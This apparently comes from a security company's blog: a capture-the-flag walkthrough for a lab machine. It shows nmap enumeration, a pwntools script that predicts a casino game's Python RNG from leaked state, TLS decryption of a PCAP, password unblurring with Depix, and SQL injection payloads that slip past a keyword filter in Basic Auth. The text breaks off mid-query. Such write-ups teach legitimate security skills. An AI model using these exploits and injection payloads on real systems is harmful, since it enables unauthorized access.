{"id":6965,"date":"2024-10-25T09:58:42","date_gmt":"2024-10-25T07:58:42","guid":{"rendered":"https:\/\/warpnet.nl\/?p=6965"},"modified":"2025-12-08T13:23:11","modified_gmt":"2025-12-08T12:23:11","slug":"ctf-2024-final-challange","status":"publish","type":"post","link":"https:\/\/warpnet.nl\/en\/blog\/ctf-2024-final-challange\/","title":{"rendered":"Warpnet CTF 2024 - Final Challenge"},"content":{"rendered":"<p>At the end of September, we hosted an online week-long Capture The Flag event on our Hacklabs platform. Participants had lots of fun playing and solving the challenges, and learning from each other after the competition. This ended with a finale at our office where the best participants played one final challenge to distribute the prizes. This post goes through the solution to this final challenge!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p>This challenge consists of 9 flags hidden across various services and levels of depth in the machine. Multiple paths exist to reach the end.<\/p>\n\n\n\n<p>Starting with enumeration, an <code>nmap<\/code> of the machine (10.8.0.82) shows the following open ports:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sudo nmap -Pn -n -sV -sC -O -vv -oN nmap.txt -p- -sS -T4 10.8.0.82\n...\nNmap scan report for 10.8.0.82\nHost is up, received user-set (0.019s latency).\nScanned at 2024-10-19 15:58:08 CEST for 116s\nNot shown: 65529 closed ports\nReason: 65529 resets\nPORT     STATE SERVICE     REASON         VERSION\n22\/tcp   open  ssh         syn-ack ttl 61 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)\n80\/tcp   open  http        syn-ack ttl 61 Werkzeug\/3.0.4 Python\/3.11.2\n| http-auth:\n| HTTP\/1.1 401 UNAUTHORIZED\\x0D\n|_  Basic realm=Authentication Required\n139\/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2\n445\/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2\n1337\/tcp open  waste?      syn-ack ttl 61\n3306\/tcp open  mysql       syn-ack ttl 61 MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1<\/code><\/pre>\n\n\n\n<p>On this server, an SSH server is running on port 22, an HTTP server on port 80 requiring authentication, an SMB server on ports 139 and 445, and a MySQL server open on port 3306. Another unknown service on port 1337 is also open. We will explore these one by one.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Port 1337: Casino RNG Manipulation<\/h2>\n\n\n\n<p>If we connect to port <code>1337<\/code> using netcat (<code>nc<\/code>), we get a ton out <code>[DEBUG]<\/code> output before a menu asking us to flip a coin or roll a dice:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ nc -v 10.8.0.82 1337\nConnection to 10.8.0.82 1337 port [tcp\/*] succeeded!\n[DEBUG] ZnJvbSB0ZXJtY29sb3IgaW1wb3J0IGNwcmludApmcm9tIGNvbG9yYW1hIGltcG9ydCBGb3JlCmZyb20gYmFz\n...\nZiJZb3Ugd2luISEhIHtGTEFHfSIsICJ5ZWxsb3ciKQogICAgICAgICAgICBicmVhawogICAgZWxzZToKICAgICAgICBjcHJpbnQoIkludmFsaWQgY2hvaWNlISIsICJyZWQiKQo=\n[DEBUG] (3, (2147483648, 1887914744, 2756020746, 201810272, 3359707872, 3156406226, 2992947414, 1530504030, 2648658794, 228605079,\n...\n4239002166, 3110075729, 11230755, 3014065313, 3922022629, 1767810001, 624), None)\n\nWelcome to the Casino!\n\n1. Flip coin\n2. Roll dice\nChoice:<\/code><\/pre>\n\n\n\n<p>The first line of debugging output looks suspiciously like Base64. After decoding the string using <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=From%5FBase64%28%27A%2DZa%2Dz0%2D9%252B%2F%253D%27%2Ctrue%2Cfalse%29\" target=\"_blank\" rel=\"noreferrer noopener\">CyberChef<\/a>, we get the following <strong>Source Code<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from termcolor import cprint\nfrom colorama import Fore\nfrom base64 import b64encode\nimport random\n\nfrom secret import FLAG\n\ncprint(f&quot;[DEBUG] {b64encode(open(__file__, 'rb').read()).decode()}&quot;, &quot;dark_grey&quot;)\ncprint(f&quot;[DEBUG] {random.getstate()}&quot;, &quot;dark_grey&quot;)\n\nprint()\ncprint(&quot;Welcome to the Casino!&quot;, &quot;yellow&quot;, attrs=[&quot;blink&quot;])\n\ndef coin_art(result):\n    if result == &quot;Heads&quot;:\n        return &quot;&quot;&quot;  &#9555;&#9472;&#9472;&#9472;&#9472;&#9558;\\n &#9556;&#9565;    &#9562;&#9559;\\n&#9556;&#9565; &#9608; &#9608;  &#9553;\\n&#9553;  &#9608;&#9600;&#9608; &#9556;&#9565;\\n&#9562;&#9559; &#9600; &#9600;&#9556;&#9565;\\n &#9561;&#9472;&#9472;&#9472;&#9472;&#9564;&quot;&quot;&quot;\n    else:\n        return &quot;&quot;&quot; &#9555;&#9472;&#9472;&#9472;&#9472;&#9558;\\n&#9556;&#9565;    &#9562;&#9559;\\n&#9553;  &#9600;&#9608;&#9600; &#9562;&#9559;\\n&#9562;&#9559;  &#9608;   &#9553;\\n &#9562;&#9559; &#9600;  &#9556;&#9565;\\n  &#9561;&#9472;&#9472;&#9472;&#9472;&#9564;&quot;&quot;&quot;\n\ndef dice_art(n):\n    if n == 1:\n        return &quot;&quot;&quot;&#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;\\n&#9474;       &#9474;\\n&#9474;   &bull;   &#9474;\\n&#9474;       &#9474;\\n&#9492;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9496;&quot;&quot;&quot;\n    elif n == 2:\n        return &quot;&quot;&quot;&#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;\\n&#9474; &bull;     &#9474;\\n&#9474;       &#9474;\\n&#9474;     &bull; &#9474;\\n&#9492;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9496;&quot;&quot;&quot;\n    elif n == 3:\n        return &quot;&quot;&quot;&#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;\\n&#9474; &bull;     &#9474;\\n&#9474;   &bull;   &#9474;\\n&#9474;     &bull; &#9474;\\n&#9492;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9496;&quot;&quot;&quot;\n    elif n == 4:\n        return &quot;&quot;&quot;&#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;\\n&#9474; &bull;   &bull; &#9474;\\n&#9474;       &#9474;\\n&#9474; &bull;   &bull; &#9474;\\n&#9492;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9496;&quot;&quot;&quot;\n    elif n == 5:\n        return &quot;&quot;&quot;&#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;\\n&#9474; &bull;   &bull; &#9474;\\n&#9474;   &bull;   &#9474;\\n&#9474; &bull;   &bull; &#9474;\\n&#9492;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9496;&quot;&quot;&quot;\n    elif n == 6:\n        return &quot;&quot;&quot;&#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;\\n&#9474; &bull;   &bull; &#9474;\\n&#9474; &bull;   &bull; &#9474;\\n&#9474; &bull;   &bull; &#9474;\\n&#9492;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9496;&quot;&quot;&quot;\n\nsixes = 0\nwhile True:\n    print()\n    print(&quot;1. Flip coin&quot;)\n    print(&quot;2. Roll dice&quot;)\n    choice = input(&quot;Choice: &quot; + Fore.LIGHTCYAN_EX) or choice\n    print(Fore.RESET)\n    if choice == &quot;1&quot;:\n        result = random.choice([&quot;Heads&quot;, &quot;Tails&quot;])\n        cprint(coin_art(result) + f&quot;\\nThe coin landed on {result}!&quot;, &quot;green&quot;)\n    elif choice == &quot;2&quot;:\n        result = random.randint(1, 6)\n        cprint(dice_art(result) + f&quot;\\nThe dice roll was {result}!&quot;, &quot;green&quot;)\n        if result == 6:\n            sixes += 1\n            cprint(f&quot;Nice, your streak is at {sixes}\/100.&quot;, &quot;green&quot;)\n        else:\n            sixes = 0\n            cprint(f&quot;Not a 6, your streak is back to 0.&quot;, &quot;light_red&quot;)\n\n        if sixes == 100:\n            cprint(f&quot;You win!!! {FLAG}&quot;, &quot;yellow&quot;)\n            break\n    else:\n        cprint(&quot;Invalid choice!&quot;, &quot;red&quot;)<\/code><\/pre>\n\n\n\n<p>Reading the code, the first <em>flip coin<\/em> option just executes <code>random.choice()<\/code> between two strings and prints the result with some ASCII art. Next, the <em>roll dice<\/em> option seems more interesting. If the result of <code>random.randint(1, 6)<\/code> happened to be <code>6<\/code>, your stream stored in <code>sixes<\/code> is increased by one. When you don&#x2019;t roll a six, however, your streak is reset. When you reach a streak of 100 sixes in a row, the flag is printed.<\/p>\n\n\n\n<p>Mathematically, you won&#x2019;t just get lucky by trying to roll the dice until you succeed. The probability of rolling a six is <code>1\/6<\/code>, which you need to do 100 times. Even if you would be able to do millions of attempts per second, it would take many universe lifetimes until you would hit a stream of 100. (<a rel=\"noreferrer noopener\" href=\"https:\/\/brute.jtw.sh\/#rate=1000000&amp;length=100&amp;charset=123456\" target=\"_blank\">calculation<\/a>)<\/p>\n\n\n\n<p>Instead, we have to abuse a vulnerability in the program. The second like of <code>[DEBUG]<\/code> output shows a large array that comes from <code>random.getstate()<\/code>. <a rel=\"noreferrer noopener\" href=\"https:\/\/docs.python.org\/3\/library\/random.html#random.getstate\" target=\"_blank\">Reading the documentation<\/a>, we find that another method called <code>random.setstate()<\/code> exists that takes the output of this object to reproduce a random state. This can be used to make predictions about what the random generator&#x2019;s next output will be:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&gt;&gt;&gt; import random\n&gt;&gt;&gt; state = random.getstate()\n&gt;&gt;&gt; random.getrandbits(32)\n3774869789\n&gt;&gt;&gt; random.getrandbits(32)\n2344517096\n&gt;&gt;&gt; random.setstate(state)  # Reset the random state\n&gt;&gt;&gt; random.getrandbits(32)\n3774869789\n&gt;&gt;&gt; random.getrandbits(32)\n2344517096<\/code><\/pre>\n\n\n\n<p>The above shows that we can recover the full state of the RNG with this method to know in advance what it will output. Using the logic of the application, one idea would be to check locally if the next <code>random.randint(1, 6)<\/code> would be a 6, and if it is not, flip coins (<code>random.choice()<\/code>) until it is. Only then roll the dice to ensure it is always a six!<\/p>\n\n\n\n<p>We can implement this in Python to automate the process. The <a href=\"https:\/\/docs.pwntools.com\/en\/stable\/\" target=\"_blank\" rel=\"noreferrer noopener\">pwntools<\/a> library helps with TCP interaction, and <a href=\"https:\/\/tqdm.github.io\/\" target=\"_blank\" rel=\"noreferrer noopener\">tqdm<\/a> has a nice and simple progress bar. We will synchronize the random state with the remote server, and then flip coins until the dice would become a 6. Then, we roll the dice on the remote connection and do so for 100 rounds. This prints the flag at the end:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nfrom tqdm import tqdm\n\np = remote(&quot;10.8.0.82&quot;, 1337)\n\np.recvline()  # skip source code\nstate = p.recvline().split(b&quot;[DEBUG] &quot;)[1].split(b&quot;\\x1b&quot;)[0]\nstate = safeeval.const(state)\nrandom.setstate(state)  # sync random state\n\n\nfor i in tqdm(range(100), desc=&quot;Rounds&quot;):\n    # Synchronize state and iterate until the next dice roll is 6\n    while random.randint(1, 6) != 6:\n        random.setstate(state)\n        random.choice([&quot;Heads&quot;, &quot;Tails&quot;])\n        p.sendlineafter(b&quot;Choice: &quot;, b&quot;1&quot;)\n        state = random.getstate()\n\n    p.sendlineafter(b&quot;Choice: &quot;, b&quot;2&quot;)\n    tqdm.write(p.recvline_contains(b&quot;streak&quot;))\n\np.interactive()  # CTF{y0U_mU5t_B3_v3e3eEE3ry_LuCKY}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">SMB Share: PCAP Decryption<\/h2>\n\n\n\n<p>On ports 139 and 445, an SMB share is present. Without authentication, we can list the shares and find one named <code>Final<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ smbclient -L '\/\/10.8.0.82' -U '%'\n\nSharename       Type      Comment\n---------       ----      -------\nFinal           Disk      \nIPC$            IPC       IPC Service (Samba 4.17.12-Debian)<\/code><\/pre>\n\n\n\n<p>Connecting to it, we find one file named <code>intercepted.zip<\/code>, which we can retrieve:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ smbclient '\/\/10.8.0.82\/Final' -U '%'\nTry &quot;help&quot; to get a list of possible commands.\nsmb: \\&gt; ls\n  .                    D        0  Wed Oct  2 22:25:09 2024\n  ..                   D        0  Wed Oct  2 22:25:08 2024\n  intercepted.zip      N    74214  Wed Oct  2 22:25:09 2024\n\n                50620216 blocks of size 1024. 46381328 blocks available\nsmb: \\&gt; get intercepted.zip\ngetting file \\intercepted.zip of size 74214 as intercepted.zip (589.2 KiloBytes\/sec) (average 589.2 KiloBytes\/sec)<\/code><\/pre>\n\n\n\n<p>After unzipping this file, we find <code>final.pcapng<\/code> and <code>file.log<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ unzip intercepted.zip\nArchive:  intercepted.zip\n  inflating: final.pcapng\n  inflating: file.log\n$ file final.pcapng file.log\nfinal.pcapng: pcapng capture file - version 1.0\nfile.log:     ASCII text, with CRLF line terminators<\/code><\/pre>\n\n\n\n<p>The <code>file.log<\/code> appears to be a TLS log file, containing handshake secrets:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ head file.log\n# SSL\/TLS secrets log file, generated by NSS\nCLIENT_HANDSHAKE_TRAFFIC_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 952a30ad79baead50e0980b56deee3e8a4875f95d4687b18793f36381971903f\nSERVER_HANDSHAKE_TRAFFIC_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 be949785a33829b2f463a73d327b00588db1c304f1683f58ce058f601ae7e823\nCLIENT_HANDSHAKE_TRAFFIC_SECRET bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 d060a08cd1f87fd8d6752413c18d2e564117b3c8a67ffc97e9a4b3ce97b8e413\nSERVER_HANDSHAKE_TRAFFIC_SECRET bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 221ef1787bf1ed9457dccd794cf1c10b3b5aec09dbcaed79a8c856bc43202e71\nCLIENT_TRAFFIC_SECRET_0 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 47821337da2a1d042b640331c4299f32a5106f8714090dbddd648bbfc5d0258d\nSERVER_TRAFFIC_SECRET_0 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 66b4b833b79c7327bc2b32da93b074371f3c60c7072cd9c60cf9595c3348b200\nEXPORTER_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 84f5fce76f38d53f7fd8f29461696f85c607cb02bbe4a86f539de079ce39d59f\nCLIENT_TRAFFIC_SECRET_0 bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 7b41d30167eb04c53bd912590f9e5e63104e2ee789efdaa563032cda12f17522\nSERVER_TRAFFIC_SECRET_0 bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 16df67c12ea5bee3bfef9094a7fe2f063082acc0ff4c4f90d051b6b74d648553<\/code><\/pre>\n\n\n\n<p>The <code>.pcapng<\/code> file can be opened in <a href=\"https:\/\/www.wireshark.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">Wireshark<\/a>. This shows many different protocols, including a small <code>tls<\/code> part. If we search about how to decrypt this TLS traffic, the <a href=\"https:\/\/wiki.wireshark.org\/TLS#preference-settings\" target=\"_blank\" rel=\"noreferrer noopener\">Wireshark documentation explains<\/a> that in the preferences, a <em>(Pre-)-Master-Secret<\/em> log file can be selected. This sounds a lot like what is given in <code>file.log<\/code>.<\/p>\n\n\n\n<p>In Wireshark, we need to open <em>Edit<\/em>-&gt;<em>Preferences<\/em> and expand the <em>Protocols<\/em> section. Then, find <em>TLS<\/em> in this list and click <em>Browse<\/em> on the last option. If we select our <code>file.log<\/code> here and press OK, we find that all the <code>tls<\/code> traffic has been decrypted!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"579\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/wireshark_decrypted-1024x579.png\" alt=\"\" class=\"wp-image-6966\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/wireshark_decrypted-1024x579.png 1024w, https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/wireshark_decrypted-300x170.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/wireshark_decrypted-768x434.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/wireshark_decrypted-1536x868.png 1536w, https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/wireshark_decrypted.png 1637w\" sizes=\"(max-width: 1024px) 100vw, 1024px\"\/><\/figure>\n\n\n\n<p>Looking at the <code>Server Hello<\/code> message of the TLS handshake, we find a new tab named <em>Decrypted TLS<\/em>. This contains the encrypted data about the certificate that is sent to the client. It includes a flag in multiple parts of the certificate, the <code>issuer<\/code> and <code>subject<\/code>.<\/p>\n\n\n\n<p>Flag: <code>CTF{TLS_C3RT1F1C4T3_F0UND}<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"#pcap-extracting-pdf\"><\/a>PCAP: Extracting PDF<\/h2>\n\n\n\n<p>There is now <code>http<\/code> traffic that posts to a <code>\/upload<\/code> URL with <code>Content-Type: application\/pdf<\/code>. We can try to extract this data manually, but Wireshark has an option in <em>File<\/em> -&gt; <em>Export Objects<\/em> -&gt; <em>HTTP&#x2026;<\/em> to <em>Save all<\/em> objects to any directory. This will write the <code>\/upload<\/code> form data including the PDF.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ cat upload\n-----------------------------1285009858361488843608501223\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;Ticket ID.pdf&quot;\nContent-Type: application\/pdf\n\n%PDF-1.7\n...\n38585\n%%EOF\n-----------------------------1285009858361488843608501223--<\/code><\/pre>\n\n\n\n<p>The file appears to still contain form boundaries, but PDF looks for the header and trailer at any location in the file. If we just rename it to <code>upload.pdf<\/code>, we can open it with any PDF reader. Here, we read the following:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Ticket ID<\/strong>: #195521<br><strong>Ticket Title<\/strong>: Issue Connecting to server<br><strong>Description<\/strong>: I&#x2019;m experiencing an issue while trying to connect to an internal application on my Linux machine. When I attempt to launch the app via the terminal, I&#x2019;m receiving the following error message<\/p>\n\n\n\n<pre id=\"code-63\" class=\"wp-block-code\"><code>user@ubuntu:~$ .\/connect.sh\nPlease provide password: [BLURRED_PASSWORD]\n[ERROR] Connection failed: Unable to reach the server\n[ERROR] Timeout occurred during handshake\n[ERROR] CTF{D0NT_BL4R_P4SSW0RDS}\n[ERROR] Exiting application with code 1<\/code><\/pre>\n\n\n\n<p>I&#x2019;ve already tried the following troubleshooting steps:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Verified network connectivity (pinged the server, which responded correctly).<\/li>\n\n\n\n<li>Restarted the application and my machine.<\/li>\n\n\n\n<li>Checked the firewall settings&#x2014;nothing seems to be blocking the application.<\/li>\n<\/ol>\n\n\n\n<p>Let me know if you need any additional information. Thank you!<\/p>\n<\/blockquote>\n\n\n\n<p>A flag can be found in the contents: <code>CTF{D0NT_BL4R_P4SSW0RDS}<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"#pdf-unblurring-password\"><\/a>PDF: Unblurring Password<\/h2>\n\n\n\n<p>An image is placed over the <code>Please provide password:<\/code> prompt with what looks to be a blurred password. We can extract the full image using Python or the <code>pdfimages<\/code> command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ pdfimages upload.pdf -all out\n$ file out-000.png\nout-000.png: PNG image data, 205 x 15, 8-bit\/color RGB, non-interlaced<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"205\" height=\"15\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/depix_before.png\" alt=\"\" class=\"wp-image-6967\"\/><\/figure>\n\n\n\n<p>The image is still unreadable to the human eye, but tools such as <a href=\"https:\/\/github.com\/spipm\/Depix\" target=\"_blank\" rel=\"noreferrer noopener\">Depix<\/a> exist to try and <strong>brute force characters and match<\/strong> the generated blurred squares. Running this tool over the image with the <code>debruinseq_notepad_Windows10_closeAndSpaced.png<\/code> example usage, a slightly readable image is generated.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>depix -p out-000.png -s images\/searchimages\/debruinseq_notepad_Windows10_closeAndSpaced.png -o unblurred.png<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"205\" height=\"15\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2024\/10\/depix_after.png\" alt=\"\" class=\"wp-image-6968\"\/><\/figure>\n\n\n\n<p>The image is still unreadable to the human eye, but tools such as <a href=\"https:\/\/github.com\/spipm\/Depix\" target=\"_blank\" rel=\"noreferrer noopener\">Depix<\/a> exist to try and <strong>brute force characters and match<\/strong> the generated blurred squares. Running this tool over the image with the <code>debruinseq_notepad_Windows10_closeAndSpaced.png<\/code> example usage, a slightly readable image is generated.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Hello from the other side<\/p>\n<\/blockquote>\n\n\n\n<p>You might have also recognized the image\/text from <a href=\"https:\/\/github.com\/spipm\/Depix?tab=readme-ov-file#example\" target=\"_blank\" rel=\"noreferrer noopener\">the example in the Depix documentation<\/a>.<\/p>\n\n\n\n<p>This password allows us to log in to the Web Application on port 80. The username is <code>user<\/code> as found on the console in the PDF (<code>user@ubuntu:~$<\/code>).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -D - 'http:\/\/10.8.0.82'\nHTTP\/1.1 401 UNAUTHORIZED\nServer: Werkzeug\/3.0.4 Python\/3.11.2\nDate: Sat, 19 Oct 2024 15:11:51 GMT\nContent-Type: text\/html; charset=utf-8\nContent-Length: 19\nWWW-Authenticate: Basic realm=&quot;Authentication Required&quot;\nConnection: close\n\nUnauthorized Access<\/code><\/pre>\n\n\n\n<p>The web application requires &#x2018;Basic Authentication&#x2019;, which curl supports with <code>-u<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -D - -u 'user:Hello from the other side' 'http:\/\/10.8.0.82'\nHTTP\/1.1 302 FOUND\nServer: Werkzeug\/3.0.4 Python\/3.11.2\nDate: Sat, 19 Oct 2024 15:12:11 GMT\nContent-Type: text\/html; charset=utf-8\nContent-Length: 197\nLocation: \/ftp\/\nConnection: close\n\n&lt;!doctype html&gt;\n&lt;html lang=en&gt;\n&lt;title&gt;Redirecting...&lt;\/title&gt;\n&lt;h1&gt;Redirecting...&lt;\/h1&gt;\n&lt;p&gt;You should be redirected automatically to the target URL: &lt;a href=&quot;\/ftp\/&quot;&gt;\/ftp\/&lt;\/a&gt;. If not, click the link.<\/code><\/pre>\n\n\n\n<p>We are successfully authenticated and can now access the web application on <code>\/ftp\/<\/code>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Web Application: SQL Injection<\/h2>\n\n\n\n<p>An alternative method of authenticating to the web application without the PDF extraction and password unblurring is by attacking the Basic Authentication scheme it uses.<\/p>\n\n\n\n<p>Inputting any wrong combination just results in an &#x201C;Unauthorized Access&#x201D; message:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -u 'user:pass' 'http:\/\/10.8.0.82\/'\nUnauthorized Access<\/code><\/pre>\n\n\n\n<p>We can try some <strong>special characters<\/strong> in the username and\/or password to see if the application responds differently:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -u 'user&quot;)]}{[(*%:pass&quot;)]}{[(*%' 'http:\/\/10.8.0.82\/'\nBlocked symbol: '('<\/code><\/pre>\n\n\n\n<p>It sure does! But it is blocking one of our special characters. We can remove it and continue until we find which aren&#x2019;t blocked:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -u 'user&quot;)]}{[*%:pass' 'http:\/\/10.8.0.82\/'\nBlocked symbol: ')'\n$ curl -u 'user&quot;]}{[*%:pass' 'http:\/\/10.8.0.82\/'\nBlocked symbol: '*'\n$ curl -u 'user&quot;]}{[%:pass' 'http:\/\/10.8.0.82\/'\nBlocked symbol: '%'\n$ curl -u 'user&quot;]}{[:pass' 'http:\/\/10.8.0.82\/'\nYou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ']}{[&quot; AND password=&quot;pass&quot;' at line 1\n$ curl -u 'user&quot;:pass' 'http:\/\/10.8.0.82\/'\nYou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'pass&quot;' at line 1<\/code><\/pre>\n\n\n\n<p>Suddenly, a MySQL error appears! This happens when we only put a <code>&quot;<\/code> character in our username\/password. A great sign at SQL Injection. The SQL statement we are attacking is likely similar to this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM users WHERE username = &quot;user&quot; AND password = &quot;pass&quot;;\n-- Injected:\nSELECT * FROM users WHERE username = &quot;user&quot;&quot; AND password = &quot;pass&quot;;<\/code><\/pre>\n\n\n\n<p>Normally, we could bypass this by continuing the syntax of the query after closing the username quote. Using <code>&quot; OR 1=1;-- -<\/code> as a payload, it should make the condition always true and ignore the password:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM users WHERE username = &quot;&quot; OR 1=1;-- -&quot; AND password = &quot;pass&quot;;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl -u 'user&quot; OR 1=1;-- -:pass' 'http:\/\/10.8.0.82\/'\nBlocked keyword: 'OR'<\/code><\/pre>\n\n\n\n<p>Unfortunately, the filter also blocks keywords like &#x201C;OR&#x201D;, and it is case-insensitive. Even if we were able to find a different useful keyword here, the <code>=<\/code> and <code>-<\/code> characters are blocked as well.<\/p>\n\n\n\n<p>Commenting out the rest of the query isn&#x2019;t entirely needed in this case, because we can just repeat the always-true payload for the username in the password to pass its check. The question is, how do we make a condition always true with all these filters blocking special characters and keywords?<\/p>\n\n\n\n<p>We can <a rel=\"noreferrer noopener\" href=\"https:\/\/dev.mysql.com\/doc\/refman\/8.4\/en\/non-typed-operators.html\" target=\"_blank\">check the documentation<\/a> for more operators like <code>OR<\/code>. Instead of working with booleans, MySQL can also perform integer operations on strings by silently casting them. The following page can be used to easily play around with queries to understand what is happening.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.db-fiddle.com\/f\/928DfgRkMHCZri3ryqhWuu\/0\" target=\"_blank\" rel=\"noopener\">https:\/\/www.db-fiddle.com\/f\/928DfgRkMHCZri3ryqhWuu\/0<\/a><\/p>\n\n\n\n<p>Let&#x2019;s take the following query, and understand what happens:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM users WHERE username=&quot;&quot;-0;<\/code><\/pre>\n\n\n\n<p>When running it on DB Fiddle, all records are returned. Why is that? Well, we need to evaluate the <code>WHERE<\/code> expression just like MySQL would. We need to understand <a href=\"https:\/\/dev.mysql.com\/doc\/refman\/8.4\/en\/type-conversion.html\" target=\"_blank\" rel=\"noreferrer noopener\">&#x201C;Type Conversion&#x201D;<\/a> and <a href=\"https:\/\/dev.mysql.com\/doc\/refman\/8.4\/en\/operator-precedence.html\" target=\"_blank\" rel=\"noreferrer noopener\">&#x201C;Operator Precedence&#x201D;<\/a>.<br>Subtraction happens before equals, and strings that don&#x2019;t look like numbers are converted to 0. We look at the expression here and see that it evaluates to the following:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>username=&quot;&quot;-0;\n&quot;user&quot;=&quot;&quot;-0;\n&quot;user&quot;=(&quot;&quot;-0);\n&quot;user&quot;=0;\n0=0;\n1;\nTRUE;<\/code><\/pre>\n\n\n\n<p>That is why the weird expression above resulted in all records being returned. Still, <code>-<\/code> is a blocked character, but maybe we can come up with different unblocked operators that abuse these same rules. This turns out to be pretty easy because all we need to do is implicitly cast the input string to an integer, which will be 0, and is then always compared to another 0.<\/p>\n\n\n\n<p>The <code>\/<\/code> (divide) operator has an alternative representation as <code>DIV<\/code>. By dividing a string by a number like 1, it is turned into 0, equaling the other string that also casts to 0. The following works:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM users WHERE username=&quot;&quot;DIV 1;<\/code><\/pre>\n\n\n\n<p>However, this still isn&#x2019;t enough because our injection also ends with a <code>&quot;<\/code> character. If we were to inject <code>username=&quot;&quot;DIV&quot;&quot;;<\/code>, the strings would cast to 0 and <code>0\/0 = null<\/code>. <code>username=null<\/code> won&#x2019;t be true, so we won&#x2019;t bypass the check. Instead, we can make the string cast to 1 by letting it be <code>&quot;1&quot;<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM users WHERE username=&quot;&quot;DIV&quot;1&quot;;\n-- What happens in the background:\nSELECT * FROM users WHERE &quot;user&quot;=(&quot;&quot;DIV&quot;1&quot;);\nSELECT * FROM users WHERE &quot;user&quot;=(0 DIV 1);\nSELECT * FROM users WHERE &quot;user&quot;=0;\nSELECT * 